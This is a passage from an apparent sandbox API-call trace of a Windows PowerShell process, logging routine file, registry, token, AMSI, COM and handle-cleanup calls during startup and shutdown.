"c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x103dccc | out: lpFileInformation=0x103dccc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0290.271] GetCurrentProcess () returned 0xffffffff [0290.271] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x103de14 | out: TokenHandle=0x103de14*=0x880) returned 1 [0290.272] GetCurrentProcess () returned 0xffffffff [0290.272] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x103de14 | out: TokenHandle=0x103de14*=0x838) returned 1 [0290.310] GetCurrentProcess () returned 0xffffffff [0290.310] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x103dc74 | out: TokenHandle=0x103dc74*=0x83c) returned 1 [0290.384] GetCurrentProcess () returned 0xffffffff [0290.384] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x103dc84 | out: TokenHandle=0x103dc84*=0x840) returned 1 [0290.432] CoCreateGuid (in: pguid=0x103e030 | out: pguid=0x103e030*(Data1=0xf84349a7, Data2=0x5859, Data3=0x423c, Data4=([0]=0xba, [1]=0xdf, [2]=0xd8, [3]=0x1, [4]=0x39, [5]=0x53, [6]=0x7b, [7]=0xd5))) returned 0x0 [0290.441] ReportEventW (hEventLog=0x7af0004, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x540f048*="Stopped", lpRawData=0x540ef70) returned 1 [0290.445] AmsiCloseSession () returned 0x35b78c0 [0290.446] AmsiUninitialize () returned 0x1 [0290.512] SetEvent (hEvent=0x6e8) returned 1 [0290.721] CloseHandle (hObject=0x6e8) returned 1 [0291.271] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0291.275] CoGetContextToken (in: pToken=0x103f730 | out: pToken=0x103f730) returned 0x0 [0291.275] IUnknown:QueryInterface (in: This=0x11bb078, riid=0x72d75e8c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x103f754 | out: ppvObject=0x103f754*=0x11bb084) returned 0x0 [0291.275] IComThreadingInfo:GetCurrentThreadType (in: This=0x11bb084, pThreadType=0x103f7b4 | out: pThreadType=0x103f7b4*=0) returned 0x0 [0291.275] IUnknown:Release (This=0x11bb084) returned 0x1 [0291.276] CoGetContextToken (in: pToken=0x103f434 | out: pToken=0x103f434) returned 0x0 [0291.277] IUnknown:QueryInterface (in: This=0x11bb078, riid=0x72d75e8c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x103f458 | out: ppvObject=0x103f458*=0x11bb084) returned 0x0 [0291.277] IComThreadingInfo:GetCurrentThreadType (in: This=0x11bb084, pThreadType=0x103f484 | out: pThreadType=0x103f484*=0) returned 0x0 [0291.277] IUnknown:Release (This=0x11bb084) returned 0x1 [0291.282] CoGetContextToken (in: pToken=0x103f434 | out: pToken=0x103f434) returned 0x0 [0291.282] IUnknown:QueryInterface (in: This=0x11bb078, riid=0x72d75e8c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x103f458 | out: ppvObject=0x103f458*=0x11bb084) returned 0x0 [0291.282] IComThreadingInfo:GetCurrentThreadType (in: This=0x11bb084, pThreadType=0x103f484 | out: pThreadType=0x103f484*=0) returned 0x0 [0291.282] IUnknown:Release (This=0x11bb084) returned 0x1 [0291.326] CoGetContextToken (in: pToken=0x103f434 | out: pToken=0x103f434) returned 0x0 [0291.326] IUnknown:QueryInterface (in: This=0x11bb078, riid=0x72d75e8c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x103f458 | out: ppvObject=0x103f458*=0x11bb084) returned 0x0 [0291.326] IComThreadingInfo:GetCurrentThreadType (in: This=0x11bb084, pThreadType=0x103f484 | out: pThreadType=0x103f484*=0) returned 0x0 [0291.326] IUnknown:Release (This=0x11bb084) returned 0x1 [0291.328] CoGetContextToken (in: pToken=0x103f454 | out: pToken=0x103f454) returned 0x0 [0291.328] IUnknown:QueryInterface (in: This=0x11bb078, riid=0x72d75e8c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x103f478 | out: ppvObject=0x103f478*=0x11bb084) returned 0x0 [0291.328] IComThreadingInfo:GetCurrentThreadType (in: This=0x11bb084, pThreadType=0x103f4a4 | out: pThreadType=0x103f4a4*=0) returned 0x0 [0291.334] IUnknown:Release (This=0x11bb084) returned 0x0 [0291.334] CoUninitialize () Thread: id = 51 os_tid = 0xfac Thread: id = 60 os_tid = 0x128c Thread: id = 61 os_tid = 0x10dc [0172.689] CoGetContextToken (in: pToken=0x70bf554 | out: pToken=0x70bf554) returned 0x0 [0172.689] CObjectContext::QueryInterface () returned 0x0 [0172.689] CObjectContext::GetCurrentThreadType () returned 0x0 [0172.689] Release () returned 0x0 [0172.689] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0172.689] RoInitialize () returned 0x1 [0172.689] RoUninitialize () returned 0x0 [0217.260] CoGetContextToken (in: pToken=0x70bf540 | out: pToken=0x70bf540) returned 0x0 [0217.260] CoGetContextToken (in: pToken=0x70bf4c0 | out: pToken=0x70bf4c0) returned 0x0 [0217.260] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x1 [0217.260] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x0 [0217.261] CloseHandle (hObject=0x650) returned 1 [0217.263] CertFreeCertificateContext (pCertContext=0x7613d58) returned 1 [0217.265] CloseHandle (hObject=0x288) returned 1 [0244.016] RegCloseKey (hKey=0x6e4) returned 0x0 [0247.759] CertFreeCertificateContext (pCertContext=0x7610608) returned 1 [0291.197] CoGetContextToken (in: pToken=0x70bf540 | out: pToken=0x70bf540) returned 0x0 [0291.197] CoGetContextToken (in: pToken=0x70bf4c0 | out: pToken=0x70bf4c0) returned 0x0 [0291.197] WbemLocator:IUnknown:Release (This=0x76869d0) returned 0x1 [0291.198] WbemLocator:IUnknown:Release (This=0x76869d0) returned 0x0 [0291.199] IUnknown:Release (This=0x768f088) returned 0x0 [0291.199] CloseHandle (hObject=0x48c) returned 1 [0291.199] CloseHandle (hObject=0x600) returned 1 [0291.199] CloseHandle (hObject=0x270) returned 1 [0291.200] CloseHandle (hObject=0x6d4) returned 1 [0291.200] CloseHandle (hObject=0x6d0) returned 1 [0291.200] CloseHandle (hObject=0x6e4) returned 1 [0291.200] CloseHandle (hObject=0x6cc) returned 1 [0291.200] CloseHandle (hObject=0x6c8) returned 1 [0291.201] CloseHandle (hObject=0x6c4) returned 1 [0291.201] CloseHandle (hObject=0x6c0) returned 1 [0291.201] CloseHandle (hObject=0x778) returned 1 [0291.201] CloseHandle (hObject=0x6b8) returned 1 [0291.201] CloseHandle (hObject=0x6e0) returned 1 [0291.201] CloseHandle (hObject=0x6dc) returned 1 [0291.202] CloseHandle (hObject=0x6bc) returned 1 [0291.202] CloseHandle (hObject=0x840) returned 1 [0291.202] CloseHandle (hObject=0x418) returned 1 [0291.202] CloseHandle (hObject=0x83c) returned 1 [0291.202] CloseHandle (hObject=0x87c) returned 1 [0291.202] CloseHandle (hObject=0x838) returned 1 [0291.203] CloseHandle (hObject=0x6d8) returned 1 [0291.203] CloseHandle (hObject=0x880) returned 1 [0291.203] CloseHandle (hObject=0x414) returned 1 [0291.204] CloseHandle (hObject=0x844) returned 1 [0291.204] CloseHandle (hObject=0x770) returned 1 [0291.204] CloseHandle (hObject=0x848) returned 1 [0291.204] CloseHandle (hObject=0x7a4) returned 1 [0291.204] CloseHandle (hObject=0x84c) returned 1 [0291.204] CloseHandle (hObject=0x7a0) returned 1 [0291.205] CloseHandle (hObject=0x784) returned 1 [0291.234] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0291.266] CloseHandle (hObject=0x878) returned 1 [0291.266] CloseHandle (hObject=0x850) returned 1 [0291.266] CloseHandle (hObject=0x884) returned 1 [0291.266] CloseHandle (hObject=0x488) returned 1 [0291.267] CloseHandle (hObject=0x85c) returned 1 [0291.267] CloseHandle (hObject=0x860) returned 1 [0291.267] CloseHandle (hObject=0x864) returned 1 [0291.267] CloseHandle (hObject=0x868) returned 1 [0291.267] CloseHandle (hObject=0x86c) returned 1 [0291.267] CloseHandle (hObject=0x870) returned 1 [0291.268] CloseHandle (hObject=0x874) returned 1 [0291.278] EtwEventUnregister (RegHandle=0x11897b8) returned 0x0 [0291.278] EtwEventUnregister (RegHandle=0x11890f8) returned 0x0 [0291.278] EtwEventUnregister (RegHandle=0x761b6f0) returned 0x0 [0291.278] EtwEventUnregister (RegHandle=0x761bc00) returned 0x0 [0291.278] EtwEventUnregister (RegHandle=0x761b8a0) returned 0x0 [0291.278] EtwEventUnregister (RegHandle=0x761acd0) returned 0x0 [0291.279] EtwEventUnregister (RegHandle=0x761c980) returned 0x0 [0291.279] EtwEventUnregister (RegHandle=0x78d1210) returned 0x0 [0291.288] LocalFree (hMem=0x7888ea0) returned 0x0 [0291.288] LocalFree (hMem=0x7888bf8) returned 0x0 [0291.306] CloseHandle (hObject=0x654) returned 1 [0291.317] UnmapViewOfFile (lpBaseAddress=0x74c0000) returned 1 [0291.317] CloseHandle (hObject=0x360) returned 1 [0291.318] CloseHandle (hObject=0x63c) returned 1 [0291.319] LocalFree (hMem=0x11fcf28) returned 0x0 [0291.320] RegCloseKey (hKey=0x80000004) returned 0x0 [0291.324] DeregisterEventSource (hEventLog=0x7af0004) returned 1 [0291.325] CloseHandle (hObject=0x7ac) returned 1 [0291.327] CoGetContextToken (in: pToken=0x70bf190 | out: pToken=0x70bf190) returned 0x0 [0291.327] CoGetContextToken (in: pToken=0x70bf110 | out: pToken=0x70bf110) returned 0x0 [0291.328] WbemLocator:IUnknown:Release (This=0x7610c08) returned 0x4 [0291.330] CoReleaseMarshalData (pStm=0x7673608) returned 0x0 [0291.331] WbemLocator:IUnknown:Release (This=0x7610c08) returned 0x3 [0291.331] WbemLocator:IUnknown:Release (This=0x7610c08) returned 0x2 [0291.331] WbemLocator:IUnknown:Release (This=0x7610c08) returned 0x1 [0291.331] WbemLocator:IUnknown:Release (This=0x7610c08) returned 0x0 [0291.332] IUnknown:Release (This=0x11bb078) returned 0x1 [0291.332] CoGetContextToken (in: pToken=0x70bf190 | out: pToken=0x70bf190) returned 0x0 [0291.332] CoGetContextToken (in: pToken=0x70bf110 | out: pToken=0x70bf110) returned 0x0 [0291.332] WbemDefPath:IUnknown:Release (This=0x78dc638) returned 0x1 [0291.332] WbemDefPath:IUnknown:Release (This=0x78dc638) returned 0x0 [0291.333] CoGetContextToken (in: pToken=0x70bf110 | out: pToken=0x70bf110) returned 0x0 [0291.333] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x2 [0291.333] Release () returned 0x1 [0291.334] SleepEx (dwMilliseconds=0xffffffff, bAlertable=0) Thread: id = 181 os_tid = 0xe94 Thread: id = 182 os_tid = 0xea8 Thread: id = 183 os_tid = 0x4b4 Thread: id = 184 os_tid = 0xfb4 [0200.458] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0200.459] CoGetContextToken (in: pToken=0x730fd34 | out: pToken=0x730fd34) returned 0x0 [0200.459] CObjectContext::QueryInterface () returned 0x0 [0200.459] CObjectContext::GetCurrentThreadType () returned 0x0 [0200.459] Release () returned 0x0 [0200.459] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0200.460] CoUninitialize () [0200.460] RoInitialize () returned 0x1 [0200.460] RoUninitialize () returned 0x0 [0200.845] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x104, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0200.845] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x88 [0200.845] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x88, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0200.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x730f0d0) returned 1 [0200.845] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x730f14c | out: lpFileInformation=0x730f14c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ce8766, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x71ce8766, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x71d0e9d1, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x623400)) returned 1 [0200.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x730f0cc) returned 1 [0200.846] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x730f1c0 | out: lpdwHandle=0x730f1c0) returned 0x94c [0200.972] GetFileVersionInfoW (in: lptstrFilename="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x50495ac | out: lpData=0x50495ac) returned 1 [0201.053] VerQueryValueW (in: pBlock=0x50495ac, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x730f194, puLen=0x730f190 | out: lplpBuffer=0x730f194*=0x5049648, puLen=0x730f190) returned 1 [0201.053] VerQueryValueW (in: pBlock=0x50495ac, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x730f114, puLen=0x730f110 | out: lplpBuffer=0x730f114*=0x5049724, puLen=0x730f110) returned 1 [0201.053] VerQueryValueW (in: pBlock=0x50495ac, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x730f114, puLen=0x730f110 | out: lplpBuffer=0x730f114*=0x5049778, puLen=0x730f110) returned 1 [0201.054] VerQueryValueW (in: pBlock=0x50495ac, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x730f114, puLen=0x730f110 | out: lplpBuffer=0x730f114*=0x50497d4, puLen=0x730f110) returned 1 [0201.054] VerQueryValueW (in: pBlock=0x50495ac, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x730f114, puLen=0x730f110 | out: lplpBuffer=0x730f114*=0x5049814, puLen=0x730f110) returned 1 [0201.054] VerQueryValueW (in: pBlock=0x50495ac, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x730f114, puLen=0x730f110 | out: lplpBuffer=0x730f114*=0x504987c, puLen=0x730f110) returned 1 [0201.054] VerQueryValueW (in: pBlock=0x50495ac, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x730f114, puLen=0x730f110 | out: lplpBuffer=0x730f114*=0x5049918, puLen=0x730f110) returned 1 [0201.054] VerQueryValueW (in: pBlock=0x50495ac, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x730f114, puLen=0x730f110 | out: lplpBuffer=0x730f114*=0x504997c, puLen=0x730f110) returned 1 [0201.054] VerQueryValueW (in: pBlock=0x50495ac, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x730f114, puLen=0x730f110 | out: lplpBuffer=0x730f114*=0x50499f8, puLen=0x730f110) returned 1 [0201.054] VerQueryValueW (in: pBlock=0x50495ac, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x730f114, puLen=0x730f110 | out: lplpBuffer=0x730f114*=0x50496a0, puLen=0x730f110) returned 1 [0201.054] VerQueryValueW (in: pBlock=0x50495ac, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x730f114, puLen=0x730f110 | out: lplpBuffer=0x730f114*=0x0, puLen=0x730f110) returned 0 [0201.054] VerQueryValueW (in: pBlock=0x50495ac, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x730f114, puLen=0x730f110 | out: lplpBuffer=0x730f114*=0x0, puLen=0x730f110) returned 0 [0201.054] VerQueryValueW (in: pBlock=0x50495ac, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x730f114, puLen=0x730f110 | out: lplpBuffer=0x730f114*=0x0, puLen=0x730f110) returned 0 [0201.054] VerQueryValueW (in: pBlock=0x50495ac, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x730f108, puLen=0x730f104 | out: lplpBuffer=0x730f108*=0x5049648, puLen=0x730f104) returned 1 [0201.054] VerLanguageNameW (in: wLang=0x0, szLang=0x730ee98, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0201.147] VerQueryValueW (in: pBlock=0x50495ac, lpSubBlock="\\", lplpBuffer=0x730f118, puLen=0x730f114 | out: lplpBuffer=0x730f118*=0x50495d4, puLen=0x730f114) returned 1 [0201.164] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x730f158 | out: phkResult=0x730f158*=0x368) returned 0x0 [0201.164] RegQueryValueExW (in: hKey=0x368, lpValueName="ServiceStackVersion", lpReserved=0x0, lpType=0x730f178, lpData=0x0, lpcbData=0x730f174*=0x0 | out: lpType=0x730f178*=0x1, lpData=0x0, lpcbData=0x730f174*=0x8) returned 0x0 [0201.165] RegQueryValueExW (in: hKey=0x368, lpValueName="ServiceStackVersion", lpReserved=0x0, lpType=0x730f178, lpData=0x504dcd8, lpcbData=0x730f174*=0x8 | out: lpType=0x730f178*=0x1, lpData="3.0", lpcbData=0x730f174*=0x8) returned 0x0 [0201.167] RegCloseKey (hKey=0x368) returned 0x0 [0201.167] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x730f878 | out: phkResult=0x730f878*=0x368) returned 0x0 [0201.168] RegQueryValueExW (in: hKey=0x368, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x730f898, lpData=0x0, lpcbData=0x730f894*=0x0 | out: lpType=0x730f898*=0x1, lpData=0x0, lpcbData=0x730f894*=0x56) returned 0x0 [0201.168] RegQueryValueExW (in: hKey=0x368, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x730f898, lpData=0x504dfc8, lpcbData=0x730f894*=0x56 | out: lpType=0x730f898*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x730f894*=0x56) returned 0x0 [0201.169] RegCloseKey (hKey=0x368) returned 0x0 [0201.171] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0201.171] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0201.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x730f834) returned 1 [0201.171] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x730f8b0 | out: lpFileInformation=0x730f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe5a6a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe5a6a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0201.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x730f830) returned 1 [0201.175] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0201.175] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0201.177] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x730f840 | out: phkResult=0x730f840*=0x368) returned 0x0 [0201.178] RegQueryValueExW (in: hKey=0x368, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x730f860, lpData=0x0, lpcbData=0x730f85c*=0x0 | out: lpType=0x730f860*=0x1, lpData=0x0, lpcbData=0x730f85c*=0x56) returned 0x0 [0201.178] RegQueryValueExW (in: hKey=0x368, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x730f860, lpData=0x504e684, lpcbData=0x730f85c*=0x56 | out: lpType=0x730f860*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x730f85c*=0x56) returned 0x0 [0201.178] RegCloseKey (hKey=0x368) returned 0x0 [0201.443] CoTaskMemAlloc (cb=0x20c) returned 0x11fd448 [0201.443] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x11fd448 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0201.448] CoTaskMemFree (pv=0x11fd448) [0201.448] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0201.448] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0201.449] CoTaskMemAlloc (cb=0x20c) returned 0x11fd448 [0201.449] SHGetFolderPathW (in: hwnd=0x0, csidl=41, hToken=0x0, dwFlags=0x0, pszPath=0x11fd448 | out: pszPath="C:\\WINDOWS\\SysWOW64") returned 0x0 [0201.450] CoTaskMemFree (pv=0x11fd448) [0201.450] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\SysWOW64", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0201.450] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\SysWOW64", nBufferLength=0x14, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\SysWOW64", lpFilePart=0x0) returned 0x13 [0201.450] CoTaskMemAlloc (cb=0x20c) returned 0x11fd448 [0201.450] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x11fd448 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0201.453] CoTaskMemFree (pv=0x11fd448) [0201.453] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0201.453] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0201.462] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0201.462] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0201.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x730f7a8) returned 1 [0201.462] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x730f824 | out: lpFileInformation=0x730f824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe5a6a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe5a6a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0201.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x730f7a4) returned 1 [0201.463] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0201.463] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: 